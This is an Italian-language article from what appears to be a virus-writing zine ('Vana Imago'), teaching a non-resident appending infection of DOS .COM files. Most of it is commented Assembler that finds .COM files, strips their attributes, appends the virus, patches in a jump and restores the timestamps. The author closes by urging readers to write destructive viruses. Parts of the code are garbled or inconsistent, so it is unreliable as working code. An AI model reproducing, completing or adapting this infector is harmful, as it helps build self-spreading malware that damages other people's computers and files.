Copy Link
Add to Bookmark
Report
Vana Imago 1 33
_____ ________ __ _____/ |___| |_| | __/ Infettare file COM | (________________________________| di T0rment0 Provero' a spiegarvi la semplice strada per infettare un file com alla fine del programma. Questa routine funziona solo se segui tutti i passi correttamente. Allora questa e' una semplice descrizione di cosa fara' il codice Assembler : 1. Trova un file .COM nella directory corrente 2. Salva la data e gli attributi del file. 3. Salva i primi 3 Bytes in uno Stack 4. Infetta il File e ripristina 3 bytes nuovi 5. Mette la vecchia data e i vecchi attributi al file Iniziamo -------- ;--------------------------------------------------------------------- - ; Semplice routine per cercare un file .COM ;--------------------------------------------------------------------- - com_files db "*.com",0 mov ah,4eh ;segna i file *.COM mov dx,com_files mov cx,3 ;Attributi di Sola lettura o Nascosti int 21h ;e' OK cmp ax,12h ;E' presente qualche file? je exit ;Se il file non e' presende Esce... jmp found_file ; Invece di uscire qui puoi fare in modo che il Virus cambi dir e ; vede se sono presenti altri dile .com con l'aiuto della ; path o facendo una semplice ricerca per altre found_file: mov di,[si+file] ;di indica il nome del file push si add si,file ;si indica il nome del file... mov ax,offset 4300h ;prende gli Attributi del file mov dx,si ;nome del file in dx.. int 21h mov file_attrib,cx ;Salva gli Attributi. file dw 0 ; Qui togliamo tutti gli attributi al file mov ax,offset 4301h ;Setta gli attributi del file mov cx,offset 0fffeh ;Li Setta come file normali mov dx,si ;nome del file int 21h mov ax,offset 3d02h ;Apre il file con Lettura/Scrittura. mov dx,si ;nome del file ASCIIZ int 21h jnb ok ;Se il file era aperto continua jmp put_old_attrib ; se appare un errore mettendo i vecchi ; attributi, esce. ok: mov bx,ax mov ax,offset 5700h ;Prende la data e l'ora dal file int 21h mov old_time,cx ;Salva la vecchia ora del file mov old_date,dx ;Salva la vecchia data del file old_time db 0 old_date db 0 ; qui infettiamo il file... ma prima salviamo i primi 3 bytes ; in qualche parte del nostro virus mov ah,3fh ;Legge il file mov cx,3 ;Numero dei byte da leggere mov dx,first_3 ;Salva i bytes nel buffer add dx,si ;Nome del file... int 21h cmp ax,3 ;Dove sono stati letti i 3 bytes? jnz fix_file ;Se il file non e' come prima, esce first_3 equ $ ; I primi tre bytes del file originale! int 20h ; il virus lo infetta. nop ; Questo muove l'indicatore del file alla fine del file mov ax,offset 4202h mov cx,0 mov dx,0 int 21h mov cx,ax ;DX:AX e' la grandezza del file sub ax,3 ;sottrae 3 add cx,offset c_len_y mov di,si sub di,offset c_len_x mov [di],cx ;Modifica il 2ø e il 3ø bytes del programma ; Scrive il nostro virus nel file mov ah,40h mov cx,virlength ;Grandezza del virus mov dx,si ;Nome del file... sub dx,offset codelength ;Lunghezza del codice del virus int 21h cmp ax,offset virlength ;tutti i byte sono stati scritti? jnz fix_file ;Se la risposta e' no, esce ;Sposta l'indicatore del file all'inizio del file e scrive ;3 bytes JMP all'inizio del file mov ax,offset 4200h mov cx,0 mov dx,0 int 21h mov ah,40h ;Scrive nel file mov cx,3 ;Numero dei bytes da scrivere mov dx,si ;Nome del file... add dx,jump ;Inidica il nuovo stato degli JMP int 21h jump db 0e9h ;Questo e' il JMP che metteremo nell'inizio del file ;Rimette la vecchia data e la vecchia ora fix_file: mov dx,old_date ;Vecchia data mov cx,old_time ;Vecchia ora and cx,offset 0ffe0h ;Attribbuti Flat mov ax,offset 5701h int 21h mov ah,3eh int 21h ;Chiude il file ; Qui metteremo al file i suoi vecchi attributi put_old_attrib: mov ax,offset 4301h mov cx,old_att ;vecchi attributi del File mov dx,si ;Nome del file.... int 21h ;----------------------------- EnD Gia fatto! Semplice no? L'ho reso piu' semplice di come dovrebbe essere infatti non ho messo la ricerca del path. Comunque questo funziona bene come Virus Non-Resident . Perche' per farlo diventare residente si dovra' modificare il TSR. Usare questo codice, pero', e' semplice e veloce Mi raccomando, non credete che sia il metodo piu' efficace, esso e' stato creato solo con lo scopo di farvi imparare come funziona la ricerca e l'infezione dei file COM. Create virii distruttivi, per ora e' tutto. Byez --->T0rment0<----